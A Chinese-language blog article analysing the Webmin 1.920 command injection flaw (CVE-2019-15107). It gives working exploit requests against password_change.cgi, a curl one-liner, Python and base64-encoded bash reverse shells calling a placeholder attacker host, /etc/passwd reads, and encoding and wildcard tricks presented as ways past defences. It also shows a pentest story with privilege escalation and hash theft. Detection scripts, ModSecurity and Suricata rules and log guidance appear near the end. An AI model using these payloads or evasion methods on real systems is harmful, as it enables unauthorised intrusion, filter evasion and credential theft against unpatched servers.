尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
Webmin 1.920 命令注入漏洞深度剖析:从POC构造到3种防御绕过手法
Webmin 1.920命令注入漏洞深度剖析从POC构造到3种防御绕过手法在当今复杂的网络安全环境中系统管理工具的安全性尤为重要。Webmin作为一款广泛使用的基于Web的Unix系统管理工具其1.920版本及之前存在的命令注入漏洞CVE-2019-15107引起了安全研究人员的广泛关注。本文将深入分析该漏洞的底层原理探讨高级利用技巧并分享三种有效的防御绕过手法。1. 漏洞环境与背景分析Webmin是一款功能强大的系统管理工具允许管理员通过Web界面执行各种系统管理任务。该工具默认监听在10000端口广泛应用于各类Unix-like系统中。根据公开数据互联网上约有13万台设备运行着Webmin服务。该漏洞存在于password_change.cgi脚本中当系统启用密码重置功能时攻击者可以利用old参数中的命令注入漏洞执行任意系统命令。值得注意的是该漏洞无需任何身份验证即可利用大大增加了其危害性。影响版本范围Webmin 1.920及以下所有版本漏洞触发条件目标系统运行Webmin 1.920或更早版本密码重置功能处于启用状态攻击者能够访问Webmin的Web接口2. 漏洞原理深度解析2.1 漏洞触发机制漏洞的核心在于password_change.cgi脚本对用户输入的old参数处理不当。当用户提交密码修改请求时脚本会将old参数的值直接拼接到系统命令中执行而没有进行适当的过滤或转义。关键代码逻辑分析# 伪代码展示漏洞逻辑 my $old param(old); my $user param(user); if ($user ne known_user) { # 直接拼接用户输入到系统命令中 system(passwd $user EOF\n$old\n$new1\nEOF); }特别值得注意的是只有当user参数的值不是系统中已知用户时如使用rootxx而非root才会触发漏洞路径。这是因为对于已知用户Webmin会采用不同的密码修改逻辑而不会进入存在漏洞的代码分支。2.2 漏洞利用时序分析攻击者向/password_change.cgi发送POST请求设置user参数为不存在的用户名如rootxx在old参数中注入恶意命令如test|idWebmin将恶意命令拼接到系统命令中执行命令执行结果返回给攻击者典型请求示例POST /password_change.cgi HTTP/1.1 Host: vulnerable-host:10000 Content-Type: application/x-www-form-urlencoded Referer: https://vulnerable-host:10000/session_login.cgi userrootxxpamexpired2oldtest|idnew1test2new2test23. 高级利用技巧与POC构造3.1 基础POC构造最基本的利用方式是在old参数中注入系统命令使用管道符(|)将原始命令与恶意命令连接oldtest|whoami命令执行结果提取技巧输出通常出现在HTML响应的特定位置可以通过搜索The current password is incorrect和 之间的文本来提取命令输出3.2 复杂命令执行由于命令注入环境存在一定限制执行复杂命令需要特殊处理多命令执行oldtest|id;uname -a;echo $PATH命令链使用使用连接命令前一个成功才执行下一个使用||连接命令前一个失败才执行下一个使用;连接命令顺序执行3.3 交互式Shell获取获取交互式Shell是渗透测试中的关键步骤以下是几种有效方法Python反向Shelloldtest|python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((attacker-ip,attacker-port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);Bash反向Shell编码版oldtest|echo YmFzaCAtaSAJiAvZGV2L3RjcC9hdHRhY2tlci1pcC9hdHRhY2tlci1wb3J0IDAJjE | base64 -d | bash4. 三种防御绕过手法在实际渗透测试中目标系统往往部署了各种防御措施。以下是三种有效的绕过手法4.1 编码混淆技术Base64编码绕过oldtest|echo dW5hbWUgLWE | base64 -d | bashHex编码绕过oldtest|echo 6563686f202248656c6c6f2c20576f726c642122 | xxd -r -p | bash4.2 特殊字符利用空格绕过oldtest|cat/etc/passwd通配符使用oldtest|cat /etc/pas???4.3 上下文欺骗技术环境变量注入oldtest|${PATH:0:1}bin${PATH:0:1}cat /etc${PATH:0:1}passwd参数分割技巧oldtest|/usr/bin/perl -e system(id)5. 漏洞检测与防御建议5.1 漏洞检测方法手动检测步骤访问Webmin登录页面通常为https://target:10000使用Burp Suite拦截任意请求修改请求为POST /password_change.cgi构造恶意参数测试命令执行自动化检测脚本import requests def check_vulnerability(target): url fhttps://{target}:10000/password_change.cgi headers { Content-Type: application/x-www-form-urlencoded, Referer: fhttps://{target}:10000/session_login.cgi } data userrootxxpamexpired2oldtest|idnew1test2new2test2 try: response requests.post(url, headersheaders, datadata, verifyFalse, timeout10) if uid in response.text: return True except: pass return False5.2 防御加固措施临时缓解方案禁用/password_change.cgi接口修改Webmin配置文件限制访问IP在Web服务器层面对特殊字符进行过滤长期解决方案升级到Webmin 1.930或更高版本定期检查并应用安全补丁实施最小权限原则限制Webmin服务账户的权限WAF规则建议# ModSecurity规则示例 SecRule REQUEST_URI contains password_change.cgi \ id:10001,\ phase:2,\ block,\ msg:Potential Webmin Command Injection Attempt,\ chain SecRule ARGS:old rx \||\;|\|\|\$\(|\n|\r \ t:none,t:urlDecode,t:lowercase6. 漏洞利用的实战案例在一次内部渗透测试中我们发现目标网络中存在一台运行Webmin 1.920的服务器。通过以下步骤成功获取了系统权限初始发现使用Nmap扫描发现10000端口开放访问确认是Webmin界面漏洞验证curl -k -X POST https://target:10000/password_change.cgi \ -d userrootxxpamexpired2oldtest|idnew1test2new2test2 \ -H Referer: https://target:10000/session_login.cgi权限提升发现系统存在sudo配置问题利用Webmin服务账户执行sudo su获取root权限后渗透行动收集系统信息提取密码哈希检查其他网络可达系统关键教训系统管理工具往往是攻击者重点关注的入口点默认配置和过时软件构成重大安全风险多层防御措施如网络隔离、权限控制能有效限制漏洞影响范围7. 日志分析与取证了解攻击者在利用该漏洞时留下的痕迹对于防御和取证至关重要。关键日志位置/var/webmin/miniserv.log- Webmin主日志文件/var/log/auth.log- 系统认证日志/var/log/syslog- 系统综合日志典型攻击特征大量访问/password_change.cgi的POST请求请求中包含管道符(|)、分号(;)等特殊字符短时间内来自同一IP的多次密码修改尝试检测规则示例Suricataalert http any any - any 10000 (msg:Possible Webmin CVE-2019-15107 Exploit Attempt; \ flow:to_server,established; \ content:POST; http_method; \ content:/password_change.cgi; http_uri; \ content:userrootxx; http_client_body; \ content:|; http_client_body; \ classtype:web-application-attack; \ sid:1000001; rev:1;)在实际项目中我们发现攻击者往往会先进行简单的命令探测如whoami或id确认漏洞存在后再执行更复杂的攻击载荷。通过监控这些初始探测行为可以在攻击早期阶段发现并阻断攻击。
RELATED

相关推荐

Django 3.2.4 order_by SQL注入漏洞深度剖析:从绕过机制到PoC构造

Django 3.2.4 order_by SQL注入漏洞深度剖析:从绕过机制到PoC构造

Django 3.2.4 order_by SQL注入漏洞深度剖析:从绕过机制到PoC构造1. 漏洞背景与影响范围2021年7月,Django安全团队发布紧急更新,修复了一个存在于QuerySet.order_by()方法中的SQL注入漏洞(CVE-2021-35042)。该漏洞影响…

📅 2026/9/13 0:44:14
STM32与PAM8904实现低功耗音频系统设计

STM32与PAM8904实现低功耗音频系统设计

1. 项目背景与核心组件选型在物联网和嵌入式设备快速发展的今天,声音提示功能已成为各类智能设备的标配需求。无论是家电产品的操作反馈、工业设备的故障报警,还是医疗设备的紧急提醒,都需要一个可靠的声音通知系统。本项目基于STM32L4S5ZI微…

📅 2026/9/18 3:35:27
Windows 11 权限继承与所有权:解决“权限选项为灰色”的 2 个关键步骤

Windows 11 权限继承与所有权:解决“权限选项为灰色”的 2 个关键步骤

Windows 11 权限继承与所有权:解决“权限选项为灰色”的深度指南当你在Windows 11中尝试修改某些系统文件或文件夹的权限时,可能会遇到一个令人沮丧的情况——所有权限选项都显示为灰色不可用状态。这种情况通常发生在处理系统关键目录(如Win…

📅 2026/10/27 13:26:01
MORE NEWS

更多资讯

📰

电工证过期了不知道怎么复审延期?临平培训电工证良心建议来了

电工证过期了不知道怎么复审延期?临平培训电工证良心建议来了 证书过期了不知道怎么复审延期,这事儿真让不少从业者头疼。尤其是像你这样的开封转岗从业者,可能正面临从其他行业转入电工岗位,手头的证书如果过期了,不及时复审,直接影响你的职业发展和收…

📰

汽修需要低压电工证值不值得考 你外省的证能转过来吗

汽修需要低压电工证值不值得考 你外省的证能转过来吗 之前考的证在外省能不能转过来?这是很多汽修从业者、尤其是从外地转过来的打工人都关心的问题。特别是如果你已经持有低压电工证,但还在为“汽修需要低压电工证值不值得考”纠结,那就得仔细看看这篇文…

📰

达县考电工证通过率揭秘:学历不高怕报不上名?这几点你必须知道

达县考电工证通过率揭秘:学历不高怕报不上名?这几点你必须知道 你是不是也在担心自己学历不高,达县考电工证根本报不上名?别急,我来告诉你真相,还有通过率揭秘,带你一步步搞懂怎么报考、怎么备考、怎么拿到证!…

📰

新安高压电工证咨询考前押题全攻略:别让培训费打水漂

新安高压电工证咨询考前押题全攻略:别让培训费打水漂 怕考不过白交培训费?别担心, 新安高压电工证咨询 的考前押题资料,帮你一次通过,不走弯路。作为在应急管理部门摸爬滚打多年的老手,我深知高压电工证考试不是走过场,真得下功夫。本文从报考条件、…

📰

海口电工证考试怎么过?2026河南最新政策来了,别再怕挂科了

海口电工证考试怎么过?2026河南最新政策来了,别再怕挂科了 实操考试心里没底怕挂科,这几乎是每个准备考海口电工证的学员最真实的声音。尤其是在2026河南最新政策出台后,考试标准、审核流程、培训要求都发生了变化,很多人担心自己跟不上节奏。别…

📰

建筑电工证图片证书2026河南最新政策怎么应对

建筑电工证图片证书2026河南最新政策怎么应对 证书过期了不知道怎么复审延期?2026年河南的最新政策已经落地,很多人还在用老方法处理证件问题,结果耽误了工作机会甚至被处罚。如果你正在找建筑电工证图片证书的相关信息,尤其是复审、延期和政策变…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬